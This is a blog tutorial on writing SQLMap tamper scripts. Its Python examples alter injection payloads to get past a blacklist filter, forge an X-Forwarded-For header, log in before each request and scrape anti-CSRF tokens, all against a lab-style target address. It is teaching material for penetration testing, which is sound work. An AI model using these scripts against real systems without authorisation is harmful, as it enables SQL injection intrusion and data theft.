Post

Writing your own SQLMap Tamper Scripts

I wrote a SQLMap tamper script that helped me out in something that vanilla SQLMap could not. The issue was that in order for a SQL Injection to be possible, the payload needed to bypass a preg_match() function check which looked for blacklisted characters. Basically, what I needed to do was insert a newline before the payload, and finish the payload with a number. Enter a tamper script!

This is the boilerplate script to work with, but first don’t forget to create an empty __init__.py script so sqlmap can properly import your tamper script:

1
$ touch __init__.py

Now here’s the script to work with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
        This accepts the payload that SQLMap will send to the
        target, then returns the formatted payload
    """

    if payload:
        # Do stuff to the payload here. Probably best to
        # set a new variable and return that once you
        # manipulate it however.
        pass

    return payload

To execute, do this:

1
$ sqlmap --tamper tamper_script.py [...]

This, along with all the other flags necessary for the request, will execute your tamper script for each SQLMap request sent.

Explanation

This can be broken down in a few parts.

Priority

This is local to SQLMap. Essentially whatever you specify in the __priority__ variable will be used by SQLMap to determine the order in which tamper scripts will be executed. The values are:

  • PRIORITY.LOWEST
  • PRIORITY.LOWER
  • PRIORITY.LOW
  • PRIORITY.NORMAL
  • PRIORITY.HIGH
  • PRIORITY.HIGHER
  • PRIORITY.HIGHEST

where the highest priority will execute first.

Dependencies

A majority of the time you will most likely only need to set this to be a function that returns nothing and just issues the pass directive. However, I’ve seen other tamper scripts that call the singleTimeWarnMessage() function to specify a warning before using. If you want to do the same, you can do something like this:

1
2
3
4
5
6
7
8
9
# usual python stuff around the above boilerplate tamper script

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("This is a warning from your tamper script!")

**kwargs

From what I can gather, there are 3 different keyword arguments that are passed to each request: delimiter, headers, and hints. For most situations that I’ve ever seen (or used) with tamper scripts, I’ve only modified the headers in transit. To accomplish this, you need to first get the headers using the .get() builtin, modify the variable, and it will pass the new header onto each request. For example, if I wanted to modify the X-Forwarded-For: cookie, I can do this:

1
2
3
4
5
6
7
def tamper(payload, **kwargs):
    """
        Update each request with forged X-FORWARDED-FOR header
    """
    headers = kwargs.get("headers", {})
    headers["X-FORWARDED-FOR"] = "127.0.0.1"
    return payload

More Actions to Tamper With

Remember that this is python, so you can set up as many functions or general actions you’d like for each request to ensure that you are sending the proper data. Given this, I can do some other fun things, like create an account and pass the cookie to the next page for each payload

Log In Before SQLi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3

import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

CREATE_ACCT_URL = "http://10.20.30.40/login.php"

def dependencies():
    pass

def new_login(URL):
    """
    This will log in and return the PHPSESSID
    """
    data = {"user": "agr0", "pass": "letmein"}
    r = requests.post(URL, data=data)
    return r.cookies.get("PHPSESSID", None)

def tamper(payload, **kwargs):
    """
    This will pass the payload onto the target after it obtains a new PHPSESSID
    """
    if payload:
        new_sess_id = new_login(CREATE_ACCT_URL)
        headers = kwargs.get("headers", {})
        headers["Cookie"] = f"PHPSESSID={new_sess_id}"
    return payload

Bypass Anti-CSRF Token

Yes, there is already a built-in feature with SQLMap that allows you to check for and include a CSRF token, but for the sake of the argument, let’s build it ourselves in a tamper script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3

import requests
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

CSRF_URL = "http://10.20.30.40/form.php"

def dependencies():
    pass

def get_CSRF(URL):
    """
    This will make an initial request to get the CSRF token
    """
    r = requests.post(URL)
    csrf_pull = re.compile(r'<input name="csrf_tok" type="hidden" value="(.*)" />')
    return csrf_pull.search(r.text).group(1)

def tamper(payload, **kwargs):
    """
    This will pass the payload onto the target after it obtains a new PHPSESSID
    """
    if payload:
        csrf = get_CSRF(CSRF_URL)
        payload += f"&csrf_tok={csrf}"
    return payload

Second Order Injections

Sometimes it’s not the initial data that returns a valid SQL Injection, but rather data pulled from the database itself that returns a valid SQL Injection. This is known as a Second Order Injection. Honestly I can’t do a better writeup than is mentioned at Hacktricks, so there you go.

Epilog

As you can see, you can add any number of functions and actions to each and every SQLMap request being sent. There is a lot to cover with SQLMap, but writing your own tamper scripts should be easy (and honestly, better documented. There isn’t much to go on out there).

This post is licensed under CC BY 4.0 by the author.